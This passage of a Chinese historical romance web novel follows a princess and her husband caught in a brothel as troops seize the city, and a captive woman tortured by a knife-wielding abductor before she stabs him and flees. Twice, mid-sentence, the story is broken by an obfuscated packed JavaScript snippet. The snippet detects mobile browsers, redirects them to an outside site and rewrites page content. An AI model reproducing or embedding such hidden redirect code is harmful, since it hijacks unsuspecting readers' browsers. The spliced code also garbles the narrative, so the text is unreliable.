她拼命回头不断确认身后有没有追上来的人影,一边奋力地辨识着逃亡的方向,不知道跑了多久,只知道身上的力气马上要耗尽时,不远处隐约有一道开阔的豁口出现。 那是路! 她甚至听到了马队人群的声音! 有救了! 她要找到阿柒。 她有很多事想告诉他。 可她跑得很累很累,几乎抬不动腿。 就在陆随心熬不住嗓子眼里那种干裂的疼痛和满身的沉重,不得不停下步子扶着树干喘息时,上头飘下来一片晃眼的黑。 是谁? 是阿柒吗? 她在陷入昏迷之前,迷迷糊糊地想着。 32. 顾瑶(二) 顾瑶对那日叙旧之事只字未提,可谁都看得出来,回到云国的她并不高兴。 就像是心心念念着儿时吃过的糖,跋山涉水费尽心力,终于找到一块,再入口却发现尽是黏腻难以下咽的伤心人。 甚至在王后陶玉桑邀请出云使夫妇进宫赴宴的请帖送来时,顾瑶竟直接躲进了房里,好像被喜欢推却家宴的莫楚瑛上了身。 那种明晃晃的不愿意,带着一股异于平常的不管不顾,把旁边的桑凌惊得胆颤,以为主子得了什么重疾。 “公主,是哪儿不舒服吗?” “没什么大碍。” 顾瑶也说不清自己这出是为哪般。 难道就为了表姊那句话便像小孩子似的耍起了脾气?这成何体统。 还是因为她发现唯一指望的归途好像也不在了? 顾瑶头脑有些发胀,便叫桑凌下去想歇一会儿,桑凌应了,人乖乖往外退,心里想的却是要去找富林公公商量商量这事。 于是,刚躺下片刻的顾瑶就听见有人敲门。 “……桑凌?” “是我。”低沉的声音。 顾瑶一凛,立刻坐起,整了整衣襟,才走过去把门拉开,“王爷。” “怎么了?身子不舒服?” 她摇了摇头,垂下眼。 微妙的气氛氤氲着。 顾瑶已经很久没和莫楚瑛单独相处,王府的争吵刚要因为危桥上的牵手相伴和解,便又出了桑凌的意外,龃龉未消,谁也不肯向对方主动提起,生怕酿成更大的争执。 对于眼前的人,顾瑶的心情尤为复杂。 她记得成婚四年来每一次被好好相待的时候,也记得他一朝收回的那些话。她感念他接下了圣旨来当这出云使,却害怕那不过也是明日某一刻的过眼云烟。 她不知道,该怎么看待他当下对自己的关心。 是不是该为了以后他可能的改变而未雨绸缪?还是可以像在桥上那一刻一样什么都不想? “那张请帖……” 顾瑶听到他的话,头不自觉偏向别的地方,“原来王爷是来说这事的。” “不是,阿瑶……” “王爷放心罢,我这出云使夫人必不会让你丢脸的。”顾瑶挤出一个笑容,“现在时候还早,我歇一会儿便让桑凌来替我梳妆打扮。” 说着,她便要将那门关起来。 可眼前的人听了这话,却没动。 “王爷?” 莫楚瑛将她扶在窗棂上的手轻轻抓了下来,托在了自己的掌心里,话轻轻柔柔的,意思却格外坚定,“我是想说,那张请帖,我已经派人把回信送去了。我说了,我们不去。” “可是王爷……”顾瑶猛一抬头,就撞进了他一片深色的眼里,很像那一年洞房花烛夜他们第一次私下相处,她在他身上看到了汪洋的江河水,无波无澜却壮阔辽远。 那一晚,她身着好几斤的凤冠霞帔,直直坐在床边等着他来,心中暗怀未经人事的紧张与恐惧,也想过会被下马威做好了干等一夜的准备。 可她的夫君却来得极早,甚至天色未晚、华灯初上,他就从一片不似喜事的寂静中推门而入,且步子稳健,毫无醉意,身后更无一人跟随。 瘦长的阴影不快不慢地涌上她眼前的红色,陌生的檀木气味钻进她的鼻,叫她的胸口皱缩在一处。 她等着眼前的帘幔被揭开,可人却在几步外停下了。 隔着那层影影绰绰的纱,她听到一个又沉又静的声音,“你还未用饭吧,桌上有吃食,不过都是定国的菜肴,你若吃不惯,日后可叫厨子学些云国菜……今日,便先委屈你了。” 这句话霎时抚平了她心上的所有褶子,也叫她空空的腹部越发塌陷。她不敢动脑袋,怕那头冠钗子倾数倒下,就坐在原处,真心感恩他的善意,“多谢三皇子。” 人影渐渐从她眼前退去,接着便是门被拉开的声响,直到这时候顾瑶才意识到这位三皇子压根没有留下来洞房的意思,一丝不易察觉的怒意涌上,掩盖了她方才对他的好感,她几乎没有犹豫,从床上一跃而起,“三皇子且慢!” 那便是见他的第一眼。 彷如对上了错愕的水面,而她的起身出声就是那颗忽然坠入汪洋的大石。 “皇妃……有何指教?” “三皇子今日……不在此就寝吗?” “皇妃是想我留在这?” 她当然是不想的。 一思及同床共枕的画面,方才在全身游蹿的热与冷便卷土重来。 可她不能说不,她已嫁做他妻。 她的沉默被他看在眼里,他不羞也不恼,只是接着方才的动作继续把门拉开,“今日还请皇妃早些休息吧。我们来日方长。” 他其实一直都很明白她的心思。 现下和那日又何来分别,他还不是一样替自己铺平了道路。 她不愿去见表姊,他就替她回绝了。 顾瑶为着他的所作所为感到一丝欣喜,又为自己的这丝欣喜心怀愧疚。 “可是什么?” “这……我们不该如此。” 莫楚瑛的脸上因为那声“我们”露出晴意,他轻描淡写道,“这云国的王既能称病不见我,我不去赴这一次宴又能如何?再说了,我到了云国以后,还没有机会好好出去见识一番。” 顾瑶昂起面庞,眼中闪过惊喜,“王爷的意思是……我们自行出去玩?” “就看王妃赏不赏这个脸。” 直到换上便服,同莫楚瑛一起走上了那车水马龙的街道,顾瑶才真的意识到,自己做下了这般“大逆不道”的事情。 她不知道是不是那场和陆随心深夜醉酒的经历影响了自己,那时,在第二天的头痛欲裂中醒来,横在她心里的并非惟愿此事从未发生的懊悔,而是隐隐不能明说的快意——她终于也有了这样的体验。 这种感觉随即吓坏了她,以至于那之后的几天她一度不想见到陆随心,生怕那是拉自己堕入暗道的诅咒。 她母亲最常对她说的一句话,就是要她牢记自己的身份。 她是谁?是云国的安平公主。 可她骗不了自己。 当她与街上的平民百姓摩肩擦踵,陷入一片不安且奇怪的空白之后,立刻有一阵陌生的松快随之而来,整个人都轻了。 这里谁也不认识她,所以她可以是任何人。 顾瑶往身边的人扯开一个大大的笑容,指着眼前一幢高耸的三层小楼,招牌上龙飞凤舞走着“藏香阁”三个大字,“夫君,也快晌午了,我们该找地方吃个饭了。” 那声许久没听到的“夫君”让莫楚瑛面犯喜色,不假思索地点了点头,“也好。还请娘子带路。” 两个深宫大院里长起来的人,本就没多少大街上游荡的经历,又沉浸在各自的愉悦里,便全然没在意眼前楼阁的大门虚掩,根本不像是做生意的样子。 走在前头的顾瑶推开门便走了进去,见屋子里一片空荡荡,浅红色帘幔遮住了每一处窗户,昏暗暧昧的气氛晃进了眼,她才意识到这楼里藏的是什么“香”。 跟在身后的莫楚瑛险些撞上,“怎么了?阿瑶?” “夫君,我们还是换家店……” “哟,来客了。”一声娇俏柔媚的软音随着摇晃的身子从帘子后面抖了出来,隐隐还能听到半阖上门的房间里蒙着的挣扎声,一个三十多岁的女人把门关紧后走上前来,手伸出绛紫色的轻薄衣衫摇着一把团扇在两人面前顿住了脚步,似笑非笑,“这倒是稀奇,见过白日里上门的客,倒真没见过夫妻俩一起来的。怎么,是嫌你家娘子床上功夫不行,领着要来我这儿学学?” 顾瑶能感觉到身后的莫楚瑛整个人僵在了原地,一时竟觉得眼前的场景有些好笑,便出言解释,“老板娘,你误会了。我们只是想找家店用个便饭罢了,既然此处并非酒楼,那我们也就不打搅了。” “诶,慢着。”梅枝绽开的团扇又缓缓摇了起来,“您二位不是本地人吧。” “……称不上。” “来者皆是客,吃饭的生意我凤小舞也做。实不相瞒,单冲着我们家饭菜来的人也不少,和您二位说个秘密,我们这儿的味道呀,和那里头的也差不离。”那团扇往东边的方向虚虚一指,眼眸一转,道不尽的小心思,“我们藏香阁的厨子,以前是做御膳的。” 顾瑶当然早听出她指的是云国的王宫,想着这不是撞上了,不免忍俊不禁,旁边的莫楚瑛更是直接颇为夸张地道了一声,“哦?这不是巧了么?” 惹得顾瑶转过脸去看他,正撞上他的眼幽幽看向自己,俩人相视一笑,前段日子的恩怨情仇倒像是一吸一呼间全泯然了。 “巧了?”凤小舞略显不解。 莫楚瑛假咳了半下,“昨夜做梦,梦到自己进了宫里头,见着一桌子美味珍馐,刚想下筷,却醒了。” “客官真会说笑,那你们稍坐,我马上叫厨子给你们炒两个好菜。”说罢凤小舞就摇着身子往后头去了,人一转过去,恰逢里屋那女子的挣扎声音又响起来,她整个人尖直起来,冲着里头就是一声大喊,“杨丝丝你别叫了,赶紧把药喝下去!老达,你去把龚师傅喊起来,做几个好菜,再拿一壶好酒来。” 顾瑶和莫楚瑛面面相觑,可她自己的一双腿倒是实诚,既不是本地人,又还有甚可忧虑的,如此想着便往里跨了一步,对眼前人道,“那夫君,我们就……恭敬不如从命吧?” 莫楚瑛并不喜欢这种地方,甚至还生着三分嫌弃,可见自家娘子的眼角蓦然飘出三分孩童般的调皮,不免失笑,“听娘子的便是。” 屁股还没在凳子上坐稳,方才传出挣扎声的房间里传来一阵桌椅倒地的推搡,一个瘦削人影从门缝里泥鳅似的滑了出来,直接扑倒在顾瑶腿边,半哭半泣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951814|190147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“还请救救丝丝吧,这位老爷……不,这位夫人……” 丝丝在看清顾瑶的脸后有那么一瞬间的失神,在这藏香阁里很难见到女客,应该说是从未见过,可她还是压住诧异及时改了称呼,好让自己的求救得以继续,可心中大半希望已凉透——哪位夫人能来怜悯一个青楼女子?现在再换对面那位老爷的大腿抱还好不好使? 没等顾瑶从诧异中回神,凤小舞就吊着眉冲了出来,一手攥紧丝丝的手臂,就要把扶风弱柳的她从地上拔起来,嘴里骂得很凶,“杨丝丝你发什么疯,快给我起来!” “凤娘,求求你放过我吧。”杨丝丝啥也顾不得了,另一只手直接顺势抱住了顾瑶的小腿,把自己和她绑到一起,“夫人,您面善人美,您救救丝丝吧。” 顾瑶见这姑娘面白身细衣发凌乱,猜她是个受剥削的可怜人,顿时没了在这儿吃饭的心情,把杨丝丝扶了起来,“你有何冤屈,尽管说来,我自会替你撑腰。” 这话说得太过坚定,像是明晃晃地在说杨丝丝被欺负了,听到凤小舞耳朵里当然格外发刺,声音也忍不住硬了起来,“这位夫人可真是随了你家相公,都这么爱说笑。这是我藏香阁的姑娘,纵然有冤屈,也该是我凤娘给她撑腰。” 杨丝丝不知眼前这人是何身份,但一个六岁起就在藏香阁摸爬滚打的女子,在这儿能学会的就是两门手艺,一门用来挣钱,一门用来识别谁身上有钱。 她看得出,这二人非富即贵。 只不过她却是平生头一回碰上怜惜自己的女人,还是一面之缘的陌生人。 可她身旁的年轻老爷看自己的眼神又冷又嫌,杨丝丝有些怕,便一个劲拽住顾瑶的衣袖诉苦,“夫人,丝丝在藏香阁打杂八年,卖身三年,如今攒够了钱想赎身,凤娘她却不肯。” 不等顾遥细问,凤小舞已经拿手指戳着杨丝丝的脑门开始骂了,“就你那点钱,赎身?你想得倒是美!” “当年我娘把我卖给藏香阁,就拿了五钱银子走,如今我给你五十两,还不够吗?” 顾遥一听只是银两的事,心下一宽,“老板娘觉得多少合适?” “呵,听夫人的意思,是打算把丝丝买回去?”凤小舞摇着团扇往一边的椅子缓缓坐了下去,“买回去是做丫鬟还是给这位老爷填房呀?” “这就无需老板娘担心了,您开价就是。”说这话的不是顾遥,而是杨丝丝冲出来后就一言未曾发过的莫楚瑛,他气定神闲地坐在桌边,还和自家娘子对视了一眼。 凤小舞算是见识广的,但也从来没碰着过夫妻俩一起要给风尘女赎身的,深信他们是特意要寻自己的不痛快,胸膛一起一伏,憋着气,好一会儿才话里有话道,“您能看上我们家丝丝当然好,现下将她买回去,正好还能多得一个。” 这话,莫楚瑛一时还真没转过弯来,顾遥却立刻往杨丝丝的腹部看去,那儿尚且平坦不见任何迹象,可她还是忍不住喉间一哽,“你有喜了?” 杨丝丝闻言脸色煞白,望向凤小舞的眼里也带了几分小小的怨怼,她知自己得救无望,腿一软跪了下去,“凤娘,我求求你了,你就让我走吧,你要多少钱,我出去后都想办法挣给你。” 凤小舞没好气地转过头去,她转到哪儿,杨丝丝就黏着她跪到哪儿,身后本想着帮她的“夫人老爷”倒一下成了不相干的旁人。 “杨丝丝你真要走是吧?行,那你去,去里头把药喝了,喝完你的赎身费我一个子儿都不要,你想走就走!” 顾遥想起方才听到杨丝丝的挣扎,又看到眼下这般场景,当然猜出了凤小舞嘴里的“药”是何物,过往和莫楚瑛最凶狠的一次争吵便浮上了心间,她不敢看他,默默沉下了脸。 那边杨丝丝煞白的脸则转了青,她颓然放开凤小舞,“你这是要我的命啊,凤娘,你明知道我……” “知道什么?知道你心里真正的小九九?想要赎身其实是为了出去嫁给你的好金郎?” “我……” “你真以为有了身子,人家就能娶你?” “凤……凤娘,可你当初不也……”杨丝丝到底没敢说下去。 “你……”凤小舞被她这半句话戳中了痛处,白了半张脸,听到身边突然站过来一个唯唯诺诺的黑影,气不打一处来,甩了袖子就是一句粗狠的“作甚”!看清是龟奴老达,目光往旁边一躲,又突然想起叮嘱他的事和眼前两位来客的初衷,几炷香都要烧过了,别说“御厨”炒的和宫里一个味道的菜了,连杯茶都没给人倒,赶紧出声问责,“菜呢?怎么半天没上来?” 老达虽叫老达,岁数看着却着实不老,反还年轻得紧,分明是个小伙子,不过满脸愁容,嘴也钝得紧,“正……正想和您说这事儿呢,送菜的今天一直没上门,我刚去打听了一下,说是,说是……” “怎么了?快说!” “说是今早去宫里送货时,被……被扣下了!” 33. 随心(四) 陆随心这回是真怕了。 当疼痛唤醒四肢,她摇摇晃晃看到了陌生又熟悉的一切——还是那座佛像!还是那间破庙! 她又被抓回来了! 但一切又有些不同。 她开始挣扎。 全身的血都往头顶积聚而去,她努力稳住身子,将脑袋收紧到胸前,这才看清自己的双脚被麻绳紧紧捆住,绳的另一端绕过横梁,系在了一边破旧但笑容不减的佛像手上。 她惊觉自己像条待宰的鱼一样被倒挂了起来! 一阵恶寒从脚底心钻出——这疯子会不会杀了自己? 她怕了。 甚至后悔此前鲁莽的逃跑。 如果早知会被抓回来,她还会选择逃跑吗? 可如果什么都不做……可如果什么都不做…… 她怎么能什么都不做…… “喂,喂!”陆随心忍住浑身发软发胀的不适,鼓起勇气唤着坐在门口角落里把玩着刀刃的黑衣人。 一开口,那绳子便晃动,拉着她悠悠转起圈来。 黑衣人仿若未闻,只是摇着那把割肉的短刀,用利刃的部分一遍又一遍擦拭着自己的掌心,就像陆随心对他的定论——疯子。 为了扼住内心的退缩之意,她索性大喊以壮胆,“喂,我叫你呢!喂!” 这一回,黑衣人有了回应。 他猛地抬起头,眼里满是戾气,不耐烦地把食指贴在自己的唇边,重重地“嘘——”了一声,“闭嘴!我正在思考。” “我想和你打个商……” 陆随心的话并没有说完,她第六个字刚出口的时候,黑衣人的手就翻了一下,那把刀以一种看不清的速度飞了出来,到第七个字说完,她的右脸颊传来一阵凌厉的锐痛。 她住嘴了。 地上多出了一滴血。 是她的。 更多的血滴了下来。 陆随心在全身的僵硬来临之前,想的是,反正一生下来眉毛上就有印记,脸上再多一道伤也无所谓,不能以貌服人,那就以疤服人吧。 随后就是浑身酸麻的恐惧。 若不是绳子吊着,她恐怕早就瘫痪在地了。 她现在切实地相信,眼前这人随时可能会把自己杀掉,就像当初没认出自己的阿柒一样。 庙门的阴影投在黑衣人身上,在他的脸中央割出一条阴阳的分界线,嘴动起来的时候,每个吐出来的字都因此更加晦暗不明,“我、说、闭、嘴、我、正、在、思、考。” 脸上的每一滴血和额头的每一滴汗都在警告陆随心,不要轻举妄动! 可她又不能不动。 与其等这疯子想好怎么把自己和阿柒折磨致死的计划,不如再搏一次。 她缓了缓神,才又在心间拢起一股勇气,略过所有犹豫,拼命喊道,“阿柒是不会来救我的!” “你喜欢泡脚吗?” 两句话撞到一起的时候,有那么一个瞬间,陆随心以为是自己倒挂太久产生了幻觉,否则在此时此地此人此景,怎么会突然冒出这样让人毛骨悚然的问题? 大概是她太久没回答,黑衣人又问了一遍,“我在问你,你喜欢泡脚吗?” 这个问题的背后定然隐藏着疯子令人胆颤的想法,她不想回答。 黑衣人站了起来,脸上莫名露出一点笑,就像是小孩子想到什么好主意时的得意神色,“你要是喜欢那我就给你留着,把你的手砍下来也行。” 陆随心的脑袋里爆发出一声尖锐的惊叫。 她真的很想咆哮,这是在说什么鬼话!疯子!疯子!疯子! 她几乎是以一种孤注一掷般的绝望,嘲讽般说,“我最喜欢全身泡在池子里游水。” 黑衣人闻言,整个人变得严肃起来,像是再一次陷入了他的“思考”,似乎陆随心的答案真的使他纠结难办,他瘪着嘴细思了好一阵,最后一耸肩,眉毛全松了,“那就还是剁手吧,脚给你留着走路。” 说罢,就从怀里掏出另一把更长一些的刀,隔空在她身上比划,一步一步地逼近,“一双手好像少了点儿,还是整条手臂都卸下来。” 被悬在空中无路可退的垂荡加重了陆随心怦怦直跳的恐惧,她用力弯身徒劳地想够到脚腕的麻绳,眼前的黑影越来越近,一大片地压进她的眼里,遮蔽了她的全部视线。 也许今年她真的犯太岁。 陆随心回忆起自己和顾瑶临时学的那几招花拳绣腿,哪里想到能碰上这般光景,逃不了,挣不脱,便赶忙在嘴上求饶,“卸了胳膊半条命就没了,照我这身板估计到时候你还得背着我走路,能不能活着撑到家里都说不准。” 一道锋利的破风声。 佛像手中的麻绳被割断,陆随心脚腕处被勒紧提向空中的力道突然消失,她整个人直直砸向地面,顺着肩膀的骨头翻身倒了下去,根本来不及停下来安抚那些钻心的疼痛,本能就驱使着她迅速爬坐起来往背后退去。 指尖触碰到了一点冰凉,吓了她一跳。 黑衣人朝她点了点头,似乎赞扬她方才的话有些道理,“那就先砍手指,等纯钧来了,我再当着他的面,一点点把你卸下来。” 陆随心疼得发蒙,几滴泪水在巨痛下涌进了她的眼眶,“阿柒不会来救我的。” 眼中充盈的泪和满脸胀开的红竟让她这句又说了一遍的话渲染出了几分悲伤,和第一次听到时不同,这一次,黑衣人似乎被唬住了。 他蹲下身,猛地抓住陆随心的左手,将她最长的一根手指狠狠掰了出来,刀刃抵在了指根处,一副根本不信的样子,“怎么?你是想说你们没有私情?纯钧是平白无故善心大发才替你挨上了五十鞭?” 如果真的全然不信,他不会是这个反应。 有机会,有机会…… 镇静和颤抖在陆随心的身上交替。 不要怕,不要怕,快把眼睛睁开! 她强迫自己昂起头,迎向那个把刀抵在自己指尖的恶人,往对方探究的双目盯进去,藏在身后的另一只手悄悄探着方才触碰到的东西,嘴上不忘动情地低声嘶吼,“他不抓我是因为他恨我!他宁愿挨那五十鞭子也不把我交出去是因为他要亲自寻我的仇!他恨我!他恨不得把我千刀万剐才是!他才不会为了救我而受你摆布!” 陆随心清楚自己是为了转移眼前人的注意,才刻意沉浸在这半真半假的情绪里。 可真的喊出来的时候,她却还是信了。 阿柒……三钱会不会真的恨她? “他为什么恨你?”这忽然变了方向的故事明显惹得黑衣人不快,他的眼缩成了一条线,变得阴鸷,“你要编就给我好好编。” 陆随心已经可以确定,身后触到的那块冰凉是方才划过自己的脸后掉落到地上的刀。 她能感觉到全身在微微颤抖,不是怕讲出来的话被拆穿,而是在脑袋里疯狂打转的想法已经遏制不住。 她能有几分胜算? 如果再失败,会不会直接被这疯子给折磨致死? 这一时的失语让黑衣人失去了耐心,他没有任何提醒警示,直接把刀尖抵进了陆随心左手中指的指甲缝里,那一刺还未落实,下一瞬的甲肉撕裂就真的发生了,那片薄薄的指甲被整个掀开,血溢满了指尖。 “啊——!!” 陆随心像条被捞上岸的鲤鱼在原地打起挺来,可她的手仍旧被紧紧攥住,那种剧烈的痛冲击着她全身的五脏六腑,她根本顾不得身后的刀也记不得方才的逃跑之计,只剩下纯粹的哭喊以求疼痛能够释放。 汗珠从额头前赴后继地沁出,整个身子都在不自觉抽搐。 黑衣人脸上挂着一个满意的笑,“怎么样?清醒点了吗?” 陆随心的上牙几乎要把整片下嘴唇都咬进嘴里,才勉强扼制住了自己想继续歇斯底里的冲动,鼻子里喘息的粗气慢慢平和,再次睁开眼的时候,泪水还未干涸,可那里已经找不见刚刚的退缩与恐惧。 黑衣人嗅到了一股熟悉的味道,那是恨,很深的仇恨。他愣了一下,随即便像尝到了什么珍馐美酒,竟笑了,“你这样子,看起来是想把我千刀万剐啊。那你记着,我叫赤霄。想报仇,尽管来。” 纯钧、赤霄……全是剑的名字…… 疼痛渐弱,陆随心的脑袋似乎变得格外清醒。 赤霄并没有看出她在想什么,而是自顾将那片撕扯下来的指甲拿到唇边,用舌尖舔了舔上头的鲜血,“嗯,我记住你的味道了。” 若这是陆随心第一次见他,也许她还会被这个举动吓到呕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“可阿柒本来在家里也吃得饱穿得暖。”她说的每一个字都是为了自己能够求生,可这每一个字也都是她从裹藏的真实回忆里死命抽出来的,说出口不啻于对她心的狠狠鞭笞,“可他却还是被扔到了那个地方,挨鞭子、卖命、杀人……他本可以不用这样的。” 赤霄的嘴角微微往两边垂了下去,眉毛皱了起来,似是疑惑,他紧紧盯着陆随心,等待着她的下一句话。 “所以,他一定是恨我的。” 顾瑶说过,如果实在跑不了,那就找准机会,攻击对方的弱点。 陆随心摆好了最为脆弱的架势,而她的表情仍旧沉浸在对过往的歉疚里,可注意力却未曾从赤霄身上移开。 下一句话,就是她的罪孽,是她无法挽回的过错,也是她所有悔恨和歉疚生根的地方。 她会把那最痛苦的记忆摊开,换取一个缝隙,逃出去。 几乎是在那滴真实的泪水从眼角落下去的同时,陆随心开了口,“因为他是我弟弟!当年,就是我把他卖掉了的。” 而她手里的刀已经在同一时间刺向了赤霄。 顾瑶说,如果你要对付的是男人,要么攻击他的下身,要么攻击他的眼睛。 这是陆随心第一次对人挥刀,她本以为自己会在最后一刻怯懦而使不上力,可她低估了自己。 那把刀深深地陷进了赤霄的眼窝。 她不知道会有多少血流出来,在赤霄捂住眼后退的那个刹那,她迅速从地上爬起来,连解开绳子都来不及便慌不择路地往外又蹦又跳。 他掀走了她一片指甲,她刺瞎了他一只眼睛,这么算来,还是她赚了。 她现在知道答案了。 如果早知道会被抓回来,她依旧会选择逃跑。 再一次、再一次、再再一次……无论多害怕。 她要活着。 但陆随心根本就没有想过,赤霄会不会用别的方式回击自己,她只是拼了命地往外逃,不曾回头看过一眼,也就不会知道那个失去了一只眼的黑衣人从地上坐起的那一刻,脸上的狰狞消解变成了冷漠的杀气,左眼流出的鲜血从他的指缝顺着腕部一路流淌,右手的刀抬了起来,从背后瞄准了陆随心生命跳动的地方。 “柳盼儿!你竟还敢耍我!” 可他瞄了很久,直到杀气莫名消散。 刀垂了下去。 落荒而逃的人影一去不返。 34. 顾瑶(三) 送菜的被王宫扣下,最急的当然是凤小舞。 虽说藏香阁藏的香并非后厨里的佳肴,而是前边的琳琅女子,可迎客的门一开,半盘热菜都奉不上,到底是砸了自家的招牌。 凤小舞连忙抓过老达问,“怎么就扣下了?他家不是给宫里送了十几年的菜了嘛?怎么突然就……” “不知道呀,凤娘。昨天来咱这儿送菜时还行色匆匆,说今天宫里要招待贵客,就是那位出云使嘛,要送好些好东西去,得赶紧回去准备。结果今天就扣下了……这……难道是菜出问题了?” “那别家肉菜行有被宫里叫去吗?” “没,没听说。” 这一会儿是闹着要赎身的杨丝丝,一会儿又是没菜下锅的后厨,凤小舞作为藏香阁当家的,脸可算是丢了个干净,也只能撑着笑,朝两位被她硬留下的客人下逐客令,“二位也听见了,实属不巧,出了这么个幺蛾子,今天这生意怕是做不成了,您二位要是赏脸,明日再来,藏香阁免费招待,必定管好管饱。” 不等“贵人”对这“逐客令”有反应,杨丝丝便缠了上去,“夫人留步,还请为丝丝做主。” 凤小舞见她不依不饶,脸气得煞白,还是耐住性子先吩咐了老达,“老达你快去东街采买一些,先把今晚上应付过去。”见老达应着出门了,又去呵斥杨丝丝,“你该给我闹完了吧?!还要在这儿演痴情怨女演到什么时候啊?” “凤娘,我与金郎是两情相悦!他说了,要给我赎身娶我过门!他是真心的!” 凤小舞嘴角一抽,手都抬到半空了,碍于客人在场终究留了面子没挥下去,说话却不再客气了,尖酸里带着讽刺,“呵,来这儿花钱的,能有什么真心?” 杨丝丝一听这话,眼立马红了。 顾瑶本来一门心思想替杨丝丝撑腰,可如今见她这般故事,也生了不少犹疑,她不认识眼前人,更不知道那位金郎何许人也,但她却清楚这世道。 正想着该如何给此事收场,就听到身后的莫楚瑛站了起来道,“夫人,此乃藏香阁内事,你我皆外人,今日,便先告辞吧。” 顾瑶点了点头,“夫君说的是。” 刚要往外走,那边出去没多久的老达却突然破门而入,“凤娘!出事了!出事了啊!” “又怎么了?” “军队进城了!这是出大事了呀!别说买菜了,路全都封了!走都不让走了!” “什么?”率先反应的是顾瑶,她眉头紧蹙,略过一众人等,往大门口一站,顺着那门缝果真看到一排排铁胄甲兵迈着齐整的步子往王宫的方向行进而去,声势浩荡。 街道两旁各有几个士兵站立,将零星百姓驱逐回屋,整条街道不见往日热闹的影子,家家户户陆续都把门关了起来,悄寂得骇人,就像那山雨欲来前的平静。 “要死,这是作甚啊?怎么军队往这儿来?”不明就里的凤小舞也站在顾瑶旁边好奇地张望,自然看不出什么门道,随口猜测,“该不是有人造反吧?” 老达听得一哆嗦,差点没上去捂住她的嘴,怕被她骂没敢。 杨丝丝也傻在了一边,对眼前忽如其来的变局全然不知该作何反应。 顾瑶满脸凝重,转过身去看到向自己走来的莫楚瑛同样神情肃穆,俩人对视了一眼。 “宫里出事了。” 莫楚瑛没说什么,但那甚少耷拉下来的眉头已说明了一切。 顾瑶想到那三两侍卫守着的王宫,想到自己独木难支的表姊,想到远在千里的顾衡之,想到即将或已经陷入大乱的云国,立刻压住所有纷乱的思绪,掷地有声,“我们必须马上进宫!” 莫楚瑛的唇微不可查地抿紧了。 正当他考虑如何能劝自家夫人不要往荆棘遍布的陷阱里跳时,那位咋呼的杨丝丝又冲了出来,扒住了顾瑶,“夫人,你是说宫里出事了?是王宫吗?会出什么事?” “杨丝丝你又发什么疯……” “金郎……凤娘,金郎他在宫里当差呀!”杨丝丝方才泛红的眼此时盈满了点点泪珠,她见屋子里一圈人都不为所动的模样,一跺脚,就往屋外冲了出去,“我要去找他!” “诶!你这傻子!”凤小舞伸出手,不想杨丝丝灵巧得很,只有衣角擦过了她的指尖,人就不见了,“老达,赶紧把她抓回来!” 根本用不上老达出手,那边杨丝丝刚冲出去没两步,就后退着回来了,肩上还扛了一根长矛,另一端正是个全副武装的兵卒,“退回去!全城戒严!任何人都不得出门!” 那尖锐长矛重重压在杨丝丝的锁骨上,也把她的一腔真情悉数按了下去,化作筛子般的颤抖。 凤小舞上前站到了她跟前,平常做生意的姿势便摆了出来,团扇晃得轻柔如水,语气也三曲五弯起来,“军爷消气,傻姑娘不懂事,我们不出去,不出去,一步都不会动的。” 那团扇似有若无地撩过“军爷”的手,惹得他坚毅的目光摇晃,悄悄打量起周遭,这才看清楚自己走进的是藏着香的楼里,颈间喉结上下滑动了一下。 小动作落进凤小舞眼里,立马趁着对方走神的档顺势把杨丝丝拉到了身后,嘴里仍是娇声软语,“军爷,别让我家傻姑娘妨碍了您当值,等得了空,就来这儿坐坐。” “哼。”“军爷”的鼻子里吐出一个含糊不清的音,眼在杨丝丝身上睨了一会儿,又高声告诫道,“把门关紧!别出来!”说罢便把矛收回,转身去了。 凤小舞示意老达关好门,又把杨丝丝扶到桌边,宽慰般拍了她两下,“人已经走了,早和你说要你别乱闹,你先回去歇歇吧。” “可凤娘……” “杨丝丝。”这一声,凤小舞叫得很平,像是站在了她的身旁,头一次不以老鸨的身份和她语重心长地说话,“无论什么时候,都是保住自己最要紧。” 杨丝丝垂下头去,很久以后才拿手绢擦了擦眼角,“凤娘说的是,那我去屋里了。” 凤小舞看着杨丝丝瘦弱的背影,闭眼轻叹了一声,才想起屋里还有两个“外人”,“二位客人,这真是世事难料,我让厨房下两碗面条给二位垫一垫吧。” 顾瑶根本没在意凤小舞说什么,满心都是方才那位“军爷”,他们几人说话时,她一直在旁细细观察他的甲胄,皮革上叠压编排的甲片,每个三寸见方,即使看不到里头衬衣上的花纹也知道,这就是云国兵。 王宫无主,军队入城,必是祸乱。 凤小舞那句“造反”擂鼓一般敲在她的胸膛。 难道…… “夫君,我们得尽快想办法进宫,先回去再行计议。”顾瑶拉住莫楚瑛的手,朝凤小舞问,“这儿有没有后门?有没有偏僻的小路可以通往富水巷?” “富水巷?”凤小舞一时想不起这地方在哪儿。 “不,阿瑶,我们要留在这里。”莫楚瑛反握住顾瑶的手,话里却是断然拒绝之意。 凤小舞一看,这夫妻不齐心,怕是马上要吵起来了,便识相地带着老达往后退到了转角处,站得远远的。 顾瑶压低了声音与莫楚瑛争辩,“我们怎可留在这里?宫里不知是何情形,此乃我云国危急时刻……” “此乃云国内政!你我何必去干涉?” “王爷这是和我要打起官腔来了?那宫里可还住着我的姊姊,我怎能袖手旁观?” “可你进了宫又能做什么?是又要以你一己之力去挡这万人军马吗?” “又”?他竟还敢提起那事?! 眼前的莫楚瑛和桑菱被挟持时同样漠不关心的他交叠在一处,混作一团冒凉气的寒冰,叫顾瑶心中发疼,“王爷心里……难道只在乎自己?” “阿瑶,我不是这意思。” 顾瑶瞥开眼,不肯看他,“可对我来说,桑菱、王后,还有这城里的百姓,都很重要,我不可能弃他们不顾。” 